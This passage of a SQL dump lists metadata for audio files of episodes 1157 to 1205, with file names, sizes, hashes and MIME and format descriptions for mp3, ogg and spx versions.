(1157,'hpr1157.ogg','ogg',83935975,'3274b62aa73e99dcae628aa6ce1469e792d3c08d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1157,'hpr1157.spx','spx',35184381,'01a896e1a25e9bbce3cd3b4f8a0d7c2b813c75a6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1158,'hpr1158.mp3','mp3',81217536,'8b8aa983dad1cf0e458139c0659785f1ec99db7d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1158,'hpr1158.ogg','ogg',82581223,'5fc62fee83b0f18f8e9a3869afc6040b48e6bf1c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1158,'hpr1158.spx','spx',36272464,'5c0bc3273ffef24042590ac70e6702a7ffe58d8d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1159,'hpr1159.mp3','mp3',26019840,'d4b1f012eb109b9bd1ec792f67e25078419fb5d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1159,'hpr1159.ogg','ogg',28768733,'c158c2b752886510297d54e03882a5d776bcaf4b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1159,'hpr1159.spx','spx',11620311,'827e133cd669e93f5e5abf2094ffbddb238342fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1160,'hpr1160.mp3','mp3',10530613,'1e923ed09de185951c91d87546533157184da952','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1160,'hpr1160.ogg','ogg',11224796,'b7ec51d24b960f6924656235f7edc61960648e17','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1160,'hpr1160.spx','spx',4702811,'b244cc994d35d92213953507c384ef3b7ec5d08c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1161,'hpr1161.mp3','mp3',23383079,'45f608424a4f31f82150c988a0cc3ae3ee9e613d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1161,'hpr1161.ogg','ogg',25200861,'7371111da078feb6b14deb4bb8eeb6a38d5db8fa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1161,'hpr1161.spx','spx',10442965,'fa72523341f5ac806be2291e93ac868c3f97ef62','application/ogg; charset=binary','Ogg data, Speex audio'),
(1162,'hpr1162.mp3','mp3',8141563,'d3f023a124dfe388f89289662550d2b0350f3798','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1162,'hpr1162.ogg','ogg',8828468,'09b3cbef17373a7c919c3bf564fe3f615c7ada6c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1162,'hpr1162.spx','spx',3635883,'c85706129eedee2ef5942941e864debcc04dfbfe','application/ogg; charset=binary','Ogg data, Speex audio'),
(1163,'hpr1163.mp3','mp3',7368577,'796aa140a8e92a66ec6263f284d05184c5c0aca2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1163,'hpr1163.ogg','ogg',6886832,'d3e6b70a1d1d6041750f3f4c06b86316b6fcd68a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1163,'hpr1163.spx','spx',3290612,'be15c6f259aec6b4fff40a5c0423a7b986b624a9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1164,'hpr1164.mp3','mp3',11470402,'dffb9e93893f7d09927e9a072342d93dc48b7ab2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1164,'hpr1164.ogg','ogg',11742973,'916b1efcec6e8b995099e515422b8e04261a91df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1164,'hpr1164.spx','spx',5122531,'1e6b55970ba69533e37ac6ca82f3e686fd3b681f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1165,'hpr1165.mp3','mp3',23830284,'8302eb93ef038d025d776ea6c42ccf01ac6afd0c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1165,'hpr1165.ogg','ogg',25804934,'dc72a53e7ab887b8e8330179d32fad1625abab04','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1165,'hpr1165.spx','spx',10642588,'6020bd843d27eba27c19a8f2b8e12277d2722306','application/ogg; charset=binary','Ogg data, Speex audio'),
(1166,'hpr1166.mp3','mp3',4261888,'b779a2632092bca3ec73ec05096b4379df3c6334','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1166,'hpr1166.ogg','ogg',4902885,'59772b9a64cc35a7f20a628c852b10c6a75d45f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1166,'hpr1166.spx','spx',1902932,'55f2b37eff74633bd0b27c2416b4b9f943780a6b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1167,'hpr1167.mp3','mp3',7288832,'1fd8aa471e75115fbf1a4401c16b2b2d62a89829','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1167,'hpr1167.ogg','ogg',8150883,'9a4380133704e83e43115c84cd15da65369e7d9e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1167,'hpr1167.spx','spx',3254682,'5e04fd5a74f7fee935c4af60c46650dd55eedf5e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1168,'hpr1168.mp3','mp3',11409392,'b5a658a977796cf9d9c7d719577271899cfebc72','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1168,'hpr1168.ogg','ogg',11956281,'723f61213e636a4d3288b32727c1fdfd7fd44c77','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1168,'hpr1168.spx','spx',5096381,'d0ba1ab015ddc08878d3487cb8269180dc2ac359','application/ogg; charset=binary','Ogg data, Speex audio'),
(1169,'hpr1169.mp3','mp3',23037492,'73f390a30c2da12f0e8fba1403e0abefab290aad','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1169,'hpr1169.ogg','ogg',22266990,'7fc1a1c3026b1c08d7b775f3d0af1b3c8ba771da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1169,'hpr1169.spx','spx',10288869,'16071330b182bc752448a568b6944d82c86ccdb1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1170,'hpr1170.mp3','mp3',7882083,'f03250b8e4368aaac3e91c6c0c3c8cf9a572be0e','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1170,'hpr1170.ogg','ogg',8439369,'6570698fd848bc5530d6a2a4d34a65afec52b1bc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1170,'hpr1170.spx','spx',3520316,'b161a762d7d3e2f79136e735b6c31a53b0334015','application/ogg; charset=binary','Ogg data, Speex audio'),
(1171,'hpr1171.mp3','mp3',25208832,'794d19289eb0206877d0e98694960a8869b0bb9f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1171,'hpr1171.ogg','ogg',25447555,'046caa6b19242f92590f7fd79e54efba63af10ad','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1171,'hpr1171.spx','spx',11235447,'507bb562ad5650dacf303aa6a3d0f5c212b9a658','application/ogg; charset=binary','Ogg data, Speex audio'),
(1172,'hpr1172.mp3','mp3',7442124,'b2768cc9cc2cd5222f64f0dffc2ebdce9485483a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1172,'hpr1172.ogg','ogg',8010172,'6c0ac399ccd8971ca7a379053e0406a666c5df46','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1172,'hpr1172.spx','spx',3323489,'498e18135bfab701e7bce1c53126d75c082d1e1d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1173,'hpr1173.mp3','mp3',11620860,'23a9bd39b5068dbd94ddf4c0f5cf1e169b18fe71','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1173,'hpr1173.ogg','ogg',12779884,'79348bf1867b15600bb0ce3a16bdf90733abd12f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1173,'hpr1173.spx','spx',5189710,'c93c4a719680b74645ee5acedbe855329ecefdcd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1174,'hpr1174.mp3','mp3',9143511,'e13c7a4b097377d118133566036f6b7240fc18e7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1174,'hpr1174.ogg','ogg',9674088,'bd7119a3874f50c39152c2b6f3728e2ea292f877','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1174,'hpr1174.spx','spx',4083258,'f4a695e179b28291be2c594a3407a46bbfb6bffa','application/ogg; charset=binary','Ogg data, Speex audio'),
(1175,'hpr1175.mp3','mp3',2283520,'1fe5e2157a7d32abb99d3c6217197ff612fc8af2','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1175,'hpr1175.ogg','ogg',2283381,'3128c76b850ebd4bc8341ec5bd39da0651508edb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1175,'hpr1175.spx','spx',1019359,'5c737d7d689d4fa6fb739a790eae95a8a54b1535','application/ogg; charset=binary','Ogg data, Speex audio'),
(1176,'hpr1176.mp3','mp3',30124359,'616b9a51e0a1b0c40e1373e5691f4aaf8b8bf8c8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1176,'hpr1176.ogg','ogg',33005141,'eb583b5cd4dec8136598dc527881ed5ec10b0fb8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1176,'hpr1176.spx','spx',13453580,'7533645b62a616f0e982299a0aa70b7aa53d7116','application/ogg; charset=binary','Ogg data, Speex audio'),
(1177,'hpr1177.mp3','mp3',32824161,'565618969c61e9329d2f9c16ff707b103cc373f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1177,'hpr1177.ogg','ogg',32452011,'7895319850f1d3a18c247fed63411ddf982d198d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1177,'hpr1177.spx','spx',14659293,'2193a9f580ebbf78db8af619306c52a471e71930','application/ogg; charset=binary','Ogg data, Speex audio'),
(1178,'hpr1178.mp3','mp3',10624272,'780e8db4cbe45d2edf91ea94c92ba1f2c3ad4cd8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1178,'hpr1178.ogg','ogg',12195467,'db90a10d34b9f43d01a04ad3ab44fb0b68135131','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1178,'hpr1178.spx','spx',4744647,'40e9c096d038314af579002e8d24163b67f5870b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1179,'hpr1179.mp3','mp3',28530891,'07fa81d108fa38d5e0f779b3635329a1bde57e37','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1179,'hpr1179.ogg','ogg',33243175,'0fe4617999f90a91595ad547b5cbc288f8853d6a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1179,'hpr1179.spx','spx',12741967,'bf0b9b9021bfe72c8562e64927c1684e082e03f0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1180,'hpr1180.mp3','mp3',8703500,'95eb3504e3a71927153510fd6e27e4f9c056e12f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1180,'hpr1180.ogg','ogg',9387519,'9cb828ce541cfb2de2275d7f4fb317d5e8cdf1b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1180,'hpr1180.spx','spx',3886819,'e3ffb0a67f82f6c308b7009fde363b64fa1521e4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1181,'hpr1181.mp3','mp3',2795315,'50a60349b31ac5be1668805a40598582374b603d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1181,'hpr1181.ogg','ogg',3040296,'78651ba6de4a045f45fca7a8ede4ee9041ba4835','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1181,'hpr1181.spx','spx',1248183,'95748ee8b208c82fe8b298a07f5939d96bb2026f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1182,'hpr1182.mp3','mp3',11548759,'04e76102cf1849341f15078cfc687d71548df068','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1182,'hpr1182.ogg','ogg',12440033,'21b1d99d89ba0f1862d048a7af9fd14b7c71b0aa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1182,'hpr1182.spx','spx',5157493,'088f905ef38bf7f731e63570303948b01ced5286','application/ogg; charset=binary','Ogg data, Speex audio'),
(1183,'hpr1183.mp3','mp3',14978112,'dae96d249a5eb16de90f4a42d15e48a8c4b9afd7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1183,'hpr1183.ogg','ogg',15302634,'b608f7f36037984dcab01c5ad031bba1570d6c12','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1183,'hpr1183.spx','spx',6689109,'f245d1c20d5cc0312b210cd97f543604592c5cc3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1184,'hpr1184.mp3','mp3',45011989,'5964d867014afafa0d4599b1177b7ae39d14dee4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1184,'hpr1184.ogg','ogg',47546785,'b1f43ce044ca5d94077844f6458f8c9d0262f54e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1184,'hpr1184.spx','spx',20103043,'c063ed8bb4a4f3251fb04b49222caeec95a718ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(1185,'hpr1185.mp3','mp3',16018213,'8794f1ac4188c6de4fa4ec357c34771fac2441c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1185,'hpr1185.ogg','ogg',16727732,'34f03b03376a338bc872d61dd4c3a465b74e9cee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1185,'hpr1185.spx','spx',7153631,'2a0fd0aa41b4c311c2a661c27081307e50901c00','application/ogg; charset=binary','Ogg data, Speex audio'),
(1186,'hpr1186.mp3','mp3',7901524,'dc3232adeafb65b4402b183eb99a9cd4ace12f0f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1186,'hpr1186.ogg','ogg',8836318,'5c529bb8e61afe3552d406001f9648cc8552c74e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1186,'hpr1186.spx','spx',3528646,'1467305ded3bc971e290b01d383f9f8090ead3b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1187,'hpr1187.mp3','mp3',5518075,'c754c07c4f1a971fabb2522ee818653316fe849b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1187,'hpr1187.ogg','ogg',6176248,'aa43d4d5beacc2c80618be3d7914508b336fa20f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1187,'hpr1187.spx','spx',2464157,'2c1c5641f0f193954bc348b2ba0b422421eea733','application/ogg; charset=binary','Ogg data, Speex audio'),
(1188,'hpr1188.mp3','mp3',21062806,'2e844237cd44212bd3558d37483e74d03d9e6e72','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1188,'hpr1188.ogg','ogg',19819232,'b94437aaf702b27b8797aea1e99958077955936f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1188,'hpr1188.spx','spx',9406624,'68e5d5c05b9d65aa35009c327f8bedc778562147','application/ogg; charset=binary','Ogg data, Speex audio'),
(1189,'hpr1189.mp3','mp3',15025424,'4386d46efaaaf1708a6db8d826b65ab9990343c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1189,'hpr1189.ogg','ogg',14749073,'f1caab9bbe1a3dc41912bd640bd7f236ec205ca2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1189,'hpr1189.spx','spx',6710273,'73bb8068924abed5761766395e82d7a34721fb93','application/ogg; charset=binary','Ogg data, Speex audio'),
(1190,'hpr1190.mp3','mp3',10401792,'f122d92fd391ef4380c0f5b9424441a18478e2ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1190,'hpr1190.ogg','ogg',11578153,'a90b9b785a9f39b0cf84066363a2c4d0162dfb38','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1190,'hpr1190.spx','spx',4645317,'8598ab56efd77570f0c8559f1444242b2edac85c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1191,'hpr1191.mp3','mp3',19907305,'9a9671e345806628429343a6ea6ff19741ce6bfe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1191,'hpr1191.ogg','ogg',20127153,'4f385c343834dbb84408c484cbbd5d5e881ff479','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1191,'hpr1191.spx','spx',8890492,'95f09cdc38eee753947d7655590457d18a6b0f62','application/ogg; charset=binary','Ogg data, Speex audio'),
(1192,'hpr1192.mp3','mp3',7900816,'18c0f977c97a189aabc2d0faee045000e564e911','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1192,'hpr1192.ogg','ogg',8303749,'e492984ed2ef4316fad72df4f090c165eb10314f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1192,'hpr1192.spx','spx',3528324,'7eff1f34798cbd7df8a2eab3aacbd303f7da73fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(1193,'hpr1193.mp3','mp3',24982840,'b83b9d29505d8be523d8688b996908efdf99fcee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1193,'hpr1193.ogg','ogg',25220489,'d7912ab0e0f2b591aca100a684bb2f84a75ff567','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1193,'hpr1193.spx','spx',11157399,'5ebebc05e441133a27c155b2b196869e148ef414','application/ogg; charset=binary','Ogg data, Speex audio'),
(1194,'hpr1194.mp3','mp3',9082880,'9a50ad4f6ae73c89b0390f6d8dc8129ca3cc993b','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1194,'hpr1194.ogg','ogg',11044334,'4bbc124f117ba6161a34b7b33ee3f7ca9b839efa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1194,'hpr1194.spx','spx',4056222,'0025d24dd57da579ae219648b05d4bb12f4494a8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1195,'hpr1195.mp3','mp3',10009630,'9f8adeb170b79cd575c28aafe2f9c4b5baf9a2be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1195,'hpr1195.ogg','ogg',6958494,'2f8727965363d2af99ff2d39d4f471554b29372f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1195,'hpr1195.spx','spx',4470153,'d131c004b25530be95b86a1006408cb1a7fdb0ef','application/ogg; charset=binary','Ogg data, Speex audio'),
(1196,'hpr1196.mp3','mp3',56878753,'7becff9c427fa12d325d259f597fd5a21888298a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1196,'hpr1196.ogg','ogg',50765465,'40dcd78b3bf96f7eab6b079c20769ae338adf498','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1196,'hpr1196.spx','spx',25402396,'64bc8da962eb8034787292c98c91a3a9c6e38804','application/ogg; charset=binary','Ogg data, Speex audio'),
(1197,'hpr1197.mp3','mp3',13107637,'e1974e856da1bf46aeffba3a97745bf4fa8dd1a4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1197,'hpr1197.ogg','ogg',16106673,'eb7e50091c5e7a31ad17e3f2248553f8929bbe71','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1197,'hpr1197.spx','spx',5853837,'e66a1e25fa56dd3db111285934deb07118743968','application/ogg; charset=binary','Ogg data, Speex audio'),
(1198,'hpr1198.mp3','mp3',13710752,'79492b57f091f0552ff79f2aa271b792ebea81ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1198,'hpr1198.ogg','ogg',16630997,'9740437185a7950f7e2e2d8def53e5faf13b92db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1198,'hpr1198.spx','spx',6123116,'79dd0db9d141e1c6c395148e44bfe651104c3dc0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1199,'hpr1199.mp3','mp3',14364858,'a75e4f1932cf890dcbea0eac99a2d2cc27cb5f88','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1199,'hpr1199.ogg','ogg',16463585,'de9d2988ea12536f75a204736fedb62bc50a4cfb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1199,'hpr1199.spx','spx',6415336,'5af4257fa819038631301513155fdc2a9fccc720','application/ogg; charset=binary','Ogg data, Speex audio'),
(1200,'hpr1200.mp3','mp3',4451689,'25fa76982042770b8e40792d4a04a3f6025406f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1200,'hpr1200.ogg','ogg',5290264,'85eeef1f996958bd7584278306b7b9c3fa8716a3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1200,'hpr1200.spx','spx',1987928,'b28beab9a64377b7c1610018c787d8168f156ab7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1201,'hpr1201.mp3','mp3',6635477,'67c975ef3124e0a0ba5c637185fc33b97390ec1a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1201,'hpr1201.ogg','ogg',7644553,'06f5bbd03225ce08927b3c45eac7ea9b0639b14f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1201,'hpr1201.spx','spx',2963268,'73cc1a4c0eb3ea18e7b49c1ec5a6f66d38e7a2ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(1202,'hpr1202.mp3','mp3',9841395,'b5ea658509d8c5fcb1bf45b3d85e7a39fa8810a4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1202,'hpr1202.ogg','ogg',11572806,'551f3162ed75da1daa8d80825a325b7c5a9cc862','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1202,'hpr1202.spx','spx',4394968,'65cf220734ce97b98109cd279d5e63b8db0362fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1203,'hpr1203.mp3','mp3',4286920,'a24123f41993b49e665bab24a644b8dd5c0f325d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1203,'hpr1203.ogg','ogg',4862218,'aadae6522d13ce70e580f5bdd8621f38a7c5b120','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1203,'hpr1203.spx','spx',1914223,'289c6a62098a228d01bc77739e5c2d3132982a1b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1204,'hpr1204.mp3','mp3',10557008,'9d3734a09ceb84d815d77386ca3d4ba2ed9aca97','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1204,'hpr1204.ogg','ogg',11918676,'21b0d7982007744e8dec619f26250a9fa47f186e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1204,'hpr1204.spx','spx',4714666,'44cc17c02573f9dfb21511b6afdd882291be20a9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1205,'hpr1205.mp3','mp3',9236402,'beaeb6e3a230511b1d0bb552df301d9fdcaec7e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1205,'hpr1205.ogg','ogg',10363556,'7ebb5898995a90e72e58b292ea4f6e26c5447a60','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
